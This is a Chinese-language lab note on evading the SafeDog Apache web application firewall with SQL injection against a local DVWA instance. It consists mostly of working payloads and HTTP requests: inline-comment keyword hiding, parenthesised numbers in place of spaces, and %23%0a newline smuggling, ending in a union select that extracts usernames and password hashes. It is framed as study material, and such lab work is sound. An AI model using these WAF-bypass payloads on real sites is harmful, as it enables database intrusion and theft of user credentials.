

# 前言

最近没事学习一下 waf 的 bypass，本文介绍下 bypass 安全狗的笔记。个人感觉 bypass 的总思路（正则匹配型 waf）就是利用各种语法特性来逃避正则（当然要保证语法正确性的前提下）

测试环境：

```
phpstudy + 安全狗Apache版 v4.0,  
burp + hackvertor 插件
```

# 判断注入

## 判断字符型注入还是数字型

往数字后面加若干个字母，如果结果不变应该是字符型注入，因为 mysql 的弱类型会把 1xxxxx 转换成 1

The screenshot shows a browser request and a DVWA application interface. The browser request is:

```
GET /dvwa/vulnerabilities/sqli/?id=1xxxxxx&Submit=Submit HTTP/1.1  
Host: 192.168.216.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98  
Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: security=low; PHPSESSID=n6auk2cd74onull5vqgmgqvdp3  
Connection: close|
```

A red arrow points from the URL parameter 'id' to the DVWA application interface. The DVWA interface shows the following:

- Header: DVWA
- Page Title: Vulnerability: SQL
- Left sidebar menu:
  - Instructions
  - Setup / Reset DB
  - Brute Force
  - Command Injection
  - CSRF
  - File Inclusion
  - File Upload
  - Insecure CAPTCHA
  - SQL Injection
  - SQL Injection (Blind)
- Form fields:
  - User ID:
  - Submit button
- Output:
  - ID: 1xxxxxx
  - First name: admin
  - Surname: admin

A red arrow points from the output 'ID: 1xxxxxx' to the 'User ID' input field.

## 引入逻辑表达式进行判断

利用 MySQL 支持的 /\* \*/ 语法引入 && 绕过过滤

```
1'/*!&&*/1#'
```

The screenshot shows a browser interface with two panes. The left pane displays the raw HTTP request:

```
GET /dvwa/vulnerabilities/sqli/?id=<@urlencode_1>1/*&&0#<@urlencode_1>&Submit=Submit HTTP/1.1
Host: 192.168.216.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: security=low; PHPSESSID=n6auk2cd74onull5vqgmgqvdp3
Connection: close
```

The right pane shows the DVWA interface with the title "Vulnerability: SQL Injecti". The sidebar menu is open, showing "SQL Injection" selected. The main area shows the user ID input field containing "1/\*&&0#". Below it, the output shows "First name: admin" and "Surname: admin". A "More Information" section provides links to various SQL injection resources.

## order by 获取列数

还是利用 `/*!*/` 语法来引入关键字，然后利用 `( )` 包裹数字绕过空格进而绕过正则。

```
1'/*!&&*(0/*!order*/by(2)#'
```

The screenshot shows a browser interface with two panes. The left pane displays the raw HTTP request:

```
GET /dvwa/vulnerabilities/sqli/?id=<@urlencode_1>1/*!&&0/*order*/by(2)#<@urlencode_1>&Submit=Submit HTTP/1.1
Host: 192.168.216.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: security=low; PHPSESSID=n6auk2cd74onull5vqgmgqvdp3
Connection: close
```

The right pane shows the DVWA interface with the title "Vulnerability: SQL Injecti". The sidebar menu is open, showing "SQL Injection" selected. The main area shows the user ID input field containing "1/\*!&&0/\*order\*/by(2)#". Below it, the output shows "First name: admin" and "Surname: admin". A "More Information" section provides links to various SQL injection resources.

所以有 2 列。

# 绕过 union

%23%0a 绕过正则，原因大概是 # 是注释符号（只注释一行 \n 截止），waf 认为后面的都是注释不去匹配，而 mysql 支持使用 \n 代替空格，所以绕过了正则。

```
<@urlencode_1>1'/*!&&*/0/*! union*/*!all*/<@urlencode_1>%23%0a<@urlencode_2>/*!  
sE1ect*/1,@@HOSTNAME#<@urlencode_2>
```

The screenshot shows the DVWA application interface. On the left, the 'Request' tab displays a GET request to /vulnerabilities/sql/. The URL contains a payload: 'id=<@urlencode\_1>1'/\*!&&\*/0/\*! union\*/\*!all\*/<@urlencode\_1>%23%0a<@urlencode\_2>/\*!sE1ect\*/1,@@HOSTNAME#<@urlencode\_2>&Submit=Submit'. The 'Response' tab shows the DVWA homepage with the title 'Vulnerability: SQL Inj'. Below the title, there is a form with fields for 'User ID' and 'Submit'. The 'User ID' field contains the exploit payload: '1'/\*!&&\*/0/\*! union\*/\*!all\*/#/\*! sE1ect\*/1,@@HOSTNAME#'. The 'More Information' section lists several links related to SQL injection.

## 拿密码

使用 %23%0a，绕过正则

```
<@urlencode_1>1'/*!&&*/0/*! union*/*!all*/<@urlencode_1>%23%0a<@urlencode_2>/*!  
sE1ect*/user,password <@urlencode_2>from%23%0a<@urlencode_3>users where  
user_id=1<@urlencode_3>%23%27
```

The screenshot shows the DVWA application interface. On the left, the 'Request' tab displays a GET request to /vulnerabilities/sql/. The URL contains a payload: 'id=<@urlencode\_1>1'/\*!&&\*/0/\*! union\*/\*!all\*/#/\*! sE1ect\*/user,password <@urlencode\_2>from%23%0a<@urlencode\_3>users where user\_id=1<@urlencode\_3>%23%27'. The 'Response' tab shows the DVWA homepage with the title 'Vulnerability: SQL Inj'. Below the title, there is a form with fields for 'User ID' and 'Submit'. The 'User ID' field contains the exploit payload: '1'/\*!&&\*/0/\*! union\*/\*!all\*/#/\*! sE1ect\*/user,password <@urlencode\_2>from%23%0a<@urlencode\_3>users where user\_id=1'. A red arrow points from the exploit payload in the request to the corresponding code in the response, highlighting the successful extraction of the password '5f4dcc3b5aa765d61d8327deb882cf99'.

